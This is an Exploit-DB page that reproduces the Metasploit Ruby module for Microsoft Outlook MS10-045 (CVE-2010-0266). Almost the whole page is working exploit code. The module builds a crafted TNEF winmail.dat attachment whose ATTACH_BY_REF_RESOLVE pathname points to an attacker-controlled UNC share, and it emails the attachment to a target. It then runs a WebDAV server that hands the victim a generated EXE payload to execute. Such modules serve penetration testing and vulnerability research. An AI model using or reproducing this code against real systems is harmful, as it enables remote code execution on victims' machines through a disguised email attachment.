Microsoft Outlook – ‘ATTACH_BY_REF_RESOLVE’ File Execution (MS10-045) (Metasploit)

  • 作者: Metasploit
    日期: 2010-09-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16699/
  • ##
    # $Id: ms10_045_outlook_ref_resolve.rb 10389 2010-09-20 04:38:13Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	# This module acts as an HTTP server
    	include Msf::Exploit::Remote::HttpServer::HTML
    
    	# This module also sends email
    	include Msf::Exploit::Remote::SMTPDeliver
    
    	# This module generates an EXE
    	include Msf::Exploit::EXE
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name'			=> 'Outlook ATTACH_BY_REF_RESOLVE File Execution',
    			'Description'		=> %q{
    				It has been discovered that certain e-mail message cause Outlook to create Windows
    				shortcut-like attachments or messages within Outlook. Through specially crafted TNEF
    				streams with certain MAPI attachment properties, it is possible to set a path name
    				to files to be executed. When a user double clicks on such an attachment or message,
    				Outlook will proceed to execute the file that is set by the path name value. These
    				files can be local files, but also file stored remotely for example on a file share.
    				Exploitation is limited by the fact that its is not possible for attackers to supply
    				command line options.
    			},
    			'Author'		=> 'Yorick Koster <yorick@akitasecurity.nl>',
    			'Version'		=> '$Revision: 10389 $',
    			'References'	=>
    				[
    					['MSB', 'MS10-045'],
    					['CVE', '2010-0266'],
    					['OSVDB', '66296'],
    					['BID', '41446'],
    					['URL', 'http://www.akitasecurity.nl/advisory.php?id=AK20091001'],
    				],
    			'Stance' => Msf::Exploit::Stance::Passive,
    			'Payload'=>
    				{
    					'Space' => 1024,
    					'Compat'=>
    						{
    							'ConnectionType' => '-bind -find',
    						},
    
    					'StackAdjustment' => -3500,
    				},
    			'Platform' => 'win',
    			'Targets'=> [ [ 'Automatic', {} ] ],
    			'DisclosureDate' => 'Jun 01 2010',
    			'DefaultTarget'=> 0
    		))
    
    		register_options(
    			[
    				#
    				# Email options
    				#
    				OptString.new('MESSAGECLASS',
    					[false, 'Message Class value', 'IPM.Document.txtfile']),
    				OptString.new('EXTENSION',
    					[false, 'The extension used in the fake file name', 'jpg']),
    				OptString.new('VERBOSE',
    					[ false, 'Display verbose information', "true"]),
    				#
    				# WebDAV options
    				#
    				OptPort.new('SRVPORT', [ true,"The daemon port to listen on (do not change)", 80 ]),
    				OptString.new('URIPATH', [ true,"The URI to use (do not change).", "/" ]),
    				OptString.new('UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ])
    			], self.class)
    
    		deregister_options('SSL', 'SSLVersion') # Just for now
    	end
    
    	def on_request_uri(cli, request)
    
    		case request.method
    		when 'OPTIONS'
    			process_options(cli, request)
    		when 'PROPFIND'
    			process_propfind(cli, request)
    		when 'GET'
    			process_get(cli, request)
    		else
    			print_error("Unexpected request method encountered: #{request.method}")
    			resp = create_response(404, "Not Found")
    			resp.body = ""
    			resp['Content-Type'] = 'text/html'
    			cli.send_response(resp)
    		end
    
    	end
    
    	def process_get(cli, request)
    
    		myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    		webdav = "\\\\#{myhost}\\"
    
    		if (request.uri =~ /\.exe$/i)
    			print_status "Sending EXE payload #{cli.peerhost}:#{cli.peerport} ..."
    			return if ((p = regenerate_payload(cli)) == nil)
    			data = generate_payload_exe({ :code => p.encoded })
    			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
    			return
    		end
    
    		print_status "Sending 404to #{cli.peerhost}:#{cli.peerport} ..."
    		resp = create_response(404, "Not Found")
    		resp.body = ""
    		resp['Content-Type'] = 'text/html'
    		cli.send_response(resp)
    	end
    
    	#
    	# OPTIONS requests sent by the WebDav Mini-Redirector
    	#
    	def process_options(cli, request)
    		print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
    		headers = {
    			'MS-Author-Via' => 'DAV',
    #			'DASL'=> '<DAV:sql>',
    #			'DAV' => '1, 2',
    			'Allow' => 'OPTIONS, GET, PROPFIND',
    			'Public'=> 'OPTIONS, GET, PROPFIND'
    		}
    		resp = create_response(207, "Multi-Status")
    		resp.body = ""
    		resp['Content-Type'] = 'text/xml'
    		cli.send_response(resp)
    	end
    
    	#
    	# PROPFIND requests sent by the WebDav Mini-Redirector
    	#
    	def process_propfind(cli, request)
    		path = request.uri
    		print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
    		body = ''
    
    		my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    		my_uri= "http://#{my_host}/"
    
    		if path =~ /\.exe$/i
    			# Response for the DLL
    			print_status("Sending EXE multistatus for #{path} ...")
    			body = %Q|<?xml version="1.0" encoding="utf-8"?>
    <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
    <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}#{@exploit_dll}</D:href>
    <D:propstat>
    <D:prop>
    <lp1:resourcetype/>
    <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
    <lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
    <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
    <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    <lp2:executable>T</lp2:executable>
    <D:supportedlock>
    <D:lockentry>
    <D:lockscope><D:exclusive/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    <D:lockentry>
    <D:lockscope><D:shared/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    </D:supportedlock>
    <D:lockdiscovery/>
    <D:getcontenttype>application/octet-stream</D:getcontenttype>
    </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
    </D:response>
    </D:multistatus>
    |
    
    			resp = create_response(207, "Multi-Status")
    			resp.body = body
    			resp['Content-Type'] = 'text/xml'
    			cli.send_response(resp)
    			return
    		end
    
    		if path !~ /\/$/
    
    			if path.index(".")
    				print_status("Sending 404 for #{path} ...")
    				resp = create_response(404, "Not Found")
    				resp['Content-Type'] = 'text/html'
    				cli.send_response(resp)
    				return
    			else
    				print_status("Sending 301 for #{path} ...")
    				resp = create_response(301, "Moved")
    				resp["Location"] = path + "/"
    				resp['Content-Type'] = 'text/html'
    				cli.send_response(resp)
    				return
    			end
    		end
    
    		print_status("Sending directory multistatus for #{path} ...")
    		body = %Q|<?xml version="1.0" encoding="utf-8"?>
    <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
    	<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    		<D:href>#{path}</D:href>
    		<D:propstat>
    			<D:prop>
    				<lp1:resourcetype><D:collection/></lp1:resourcetype>
    				<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
    				<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
    				<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    				<D:supportedlock>
    					<D:lockentry>
    						<D:lockscope><D:exclusive/></D:lockscope>
    						<D:locktype><D:write/></D:locktype>
    					</D:lockentry>
    					<D:lockentry>
    						<D:lockscope><D:shared/></D:lockscope>
    						<D:locktype><D:write/></D:locktype>
    					</D:lockentry>
    				</D:supportedlock>
    				<D:lockdiscovery/>
    				<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
    			</D:prop>
    		<D:status>HTTP/1.1 200 OK</D:status>
    	</D:propstat>
    </D:response>
    |
    
    
    		subdirectory = %Q|
    <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href>
    <D:propstat>
    <D:prop>
    <lp1:resourcetype><D:collection/></lp1:resourcetype>
    <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
    <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
    <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    <D:supportedlock>
    <D:lockentry>
    <D:lockscope><D:exclusive/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    <D:lockentry>
    <D:lockscope><D:shared/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    </D:supportedlock>
    <D:lockdiscovery/>
    <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
    </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
    </D:response>
    |
    
    		files = %Q|
    <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}#{@exploit_exe}</D:href>
    <D:propstat>
    <D:prop>
    <lp1:resourcetype/>
    <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
    <lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
    <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
    <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    <lp2:executable>T</lp2:executable>
    <D:supportedlock>
    <D:lockentry>
    <D:lockscope><D:exclusive/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    <D:lockentry>
    <D:lockscope><D:shared/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    </D:supportedlock>
    <D:lockdiscovery/>
    <D:getcontenttype>application/octet-stream</D:getcontenttype>
    </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
    </D:response>
    |
    		if request["Depth"].to_i > 0
    			if path.scan("/").length < 2
    				body << subdirectory
    			else
    				body << files
    			end
    		end
    
    		body << "</D:multistatus>"
    
    		body.gsub!(/\t/, '')
    
    		# send the response
    		resp = create_response(207, "Multi-Status")
    		resp.body = body
    		resp['Content-Type'] = 'text/xml; charset="utf8"'
    		cli.send_response(resp)
    	end
    
    	def exploit
    
    		unc = nil
    		if (datastore['UNCHOST'])
    			unc = datastore['UNCHOST'].dup
    		else
    			unc = ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
    		end
    
    		@exploit_unc_host = unc
    		@exploit_unc= "\\\\#{unc}\\#{rand_text_alpha(rand(8)+4)}\\"
    		@exploit_exe= rand_text_alpha(rand(8)+4) + ".exe"
    
    		if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
    			raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
    		end
    
    		msg = Rex::MIME::Message.new
    		msg.mime_defaults
    		msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
    		msg.to = datastore['MAILTO']
    		msg.from = datastore['MAILFROM']
    		body = Rex::Text.encode_base64(create_tnef_exploit(), "\r\n")
    		content_type = 'application/ms-tnef'
    		content_disposition = "attachment; name=\"winmail.dat\""
    		msg.add_part(body, content_type, 'base64', content_disposition)
    		print_status("Sending message to the target...")
    		send_message(msg.to_s)
    
    		print_status("Creating WebDAV service and waiting for connections...")
    		super
    	end
    
    	def create_tnef_exploit
    		filename = Rex::Text.rand_text_alpha(8) << '.' << (datastore['EXTENSION'] || 'png') << "\x00"
    		message_class = (datastore['MESSAGECLASS'] || 'IPM.Document.jpegfile') << "\x00"
    		pathname = "file://#{@exploit_unc_host}/#{rand_text_alpha(rand(8)+4)}/#{@exploit_exe}\x00"
    		print_status("Using UNC path: #{pathname}")
    
    		# start of TNEF stream
    		sploit = create_tnef_header
    
    		# MAPI message properties
    		msgprops = "\x04\x00\x00\x00"			# Count		4
    
    		msgprops << "\x0b\x00"				# Type		PT_BOOLEAN
    		msgprops << "\x1b\x0e"				# Name		PR_HASATTACH
    		msgprops << "\x01\x00\x00\x00"			# Value data	1
    
    		msgprops << "\x1e\x00"				# Type		PT_STRING
    		msgprops << "\x1a\x00"				# Name		PR_MESSAGE_CLASS
    		msgprops << "\x01\x00\x00\x00"			# Count values	1
    		msgprops << [message_class.length].pack("V")	# Value length
    		msgprops << mapi_pad(message_class)		# Value data
    
    		msgprops << "\x03\x00"				# Type		PT_INT
    		msgprops << "\xfe\x0f"				# Name		PR_OBJECT_TYPE
    		msgprops << "\x05\x00\x00\x00"			# Value data	MAPI_MESSAGE (5)
    
    		msgprops << "\x03\x00"				# Type		PT_INT
    		msgprops << "\x07\x0e"				# Name		PR_MESSAGE_FLAGS
    		msgprops << "\x12\x00\x00\x00"			# Value data	0x00000012
    
    		# add properties to TNEF stream
    		sploit << "\x01"				# Level type	LVL_MESSAGE
    		sploit << "\x03\x90"				# Name		attMAPIProps (0x9003)
    		sploit << "\x06\x00"				# Type		atpByte (0x0006)
    		sploit << [msgprops.length].pack('V')		# Len
    		sploit << msgprops
    		sploit << tnef_checksum(msgprops)
    
    		# start of TNEF attachment
    		sploit << "\x02"				# Level type	LVL_ATTACHMENT
    		sploit << "\x02\x90"				# Name		attAttachRenddata (0x9002)
    		sploit << "\x06\x00"				# Type		atpByte (0x0006)
    		sploit << "\x0e\x00\x00\x00"			# Len		0x0000000e
    		sploit << "\x01\x00\xff\xff\xff\xff\x20\x00\x20\x00\x00\x00\x00\x00"
    		sploit << "\x3d\x04"				# Checksum
    
    		# MAPI attachment properties
    		attprops = "\x04\x00\x00\x00"			# Count		4
    
    		attprops << "\x1e\x00"				# Type		PT_STRING
    		attprops << "\x07\x37"				# Name		PR_ATTACH_LONG_FILENAME
    		attprops << "\x01\x00\x00\x00"			# Count values	1
    		attprops << [filename.length].pack('V')		# Value length
    		attprops << mapi_pad(filename)			# Value data
    
    		attprops << "\x1e\x00"				# Type		PT_STRING
    		attprops << "\x0d\x37"				# Name		PR_ATTACH_LONG_PATHNAME
    		attprops << "\x01\x00\x00\x00"			# Count values	1
    		attprops << [pathname.length].pack('V')		# Value length
    		attprops << mapi_pad(pathname)			# Value data
    
    		attprops << "\x03\x00"				# Type		PT_INT
    		attprops << "\x05\x37"				# Name		PR_ATTACH_METHOD
    		attprops << "\x03\x00\x00\x00"			# Value data	ATTACH_BY_REF_RESOLVE (3)
    
    		attprops << "\x03\x00"				# Type		PT_INT
    		attprops << "\xfe\x0f"				# Name		PR_OBJECT_TYPE
    		attprops << "\x07\x00\x00\x00"			# Value data	MAPI_ATTACH (7)
    
    		# add properties to TNEF stream
    		sploit << "\x02"				# Level type	LVL_ATTACHMENT
    		sploit << "\x05\x90"				# Name		attAttachment (0x800f)
    		sploit << "\x06\x00"				# Type		atpByte (0x0006)
    		sploit << [attprops.length].pack('V')		# Len
    		sploit << attprops
    		sploit << tnef_checksum(attprops)
    
    		return sploit
    	end
    
    	def create_tnef_header
    		# TNEF Header
    		buf = "\x78\x9f\x3e\x22"			# Signature	0x223e9f78
    		buf << "\x00\x00"				# Key
    
    		# TNEF Attributes
    		buf << "\x01"					# Level type	LVL_MESSAGE
    		buf << "\x06\x90"				# Name		attTnefVersion (0x9006)
    		buf << "\x08\x00"				# Type		atpDword (0x0008)
    		buf << "\x04\x00\x00\x00"			# Len		0x00000004
    		buf << "\x00\x00\x01\x00"
    		buf << "\x01\x00"				# Checksum
    
    		buf << "\x01"					# Level type	LVL_MESSAGE
    		buf << "\x07\x90"				# Name		attOemCodepage (0x9007)
    		buf << "\x06\x00"				# Type		atpByte (0x0006)
    		buf << "\x08\x00\x00\x00"			# Len		0x00000008
    		buf << "\xe4\x04\x00\x00\x00\x00\x00\x00"
    		buf << "\xe8\x00"				# Checksum
    
    		buf << "\x01"					# Level type	LVL_MESSAGE
    		buf << "\x0d\x80"				# Name		attPriority (0x800d)
    		buf << "\x04\x00"				# Type		atpShort (0x0004)
    		buf << "\x02\x00\x00\x00"			# Len		0x00000002
    		buf << "\x02\x00"
    		buf << "\x02\x00"				# Checksum
    
    		return buf
    	end
    
    	def tnef_checksum(buf = '')
    		checksum = 0;
    
    		buf.each_byte { |b|
    			checksum += b
    		}
    
    		return [checksum % 65536].pack('v')
    	end
    
    	def mapi_pad(buf = '')
    		length = (buf.length + 3) & ~3
    
    		(buf.length..(length - 1)).each {
    			buf << "\x00"
    		}
    
    		return buf
    	end
    end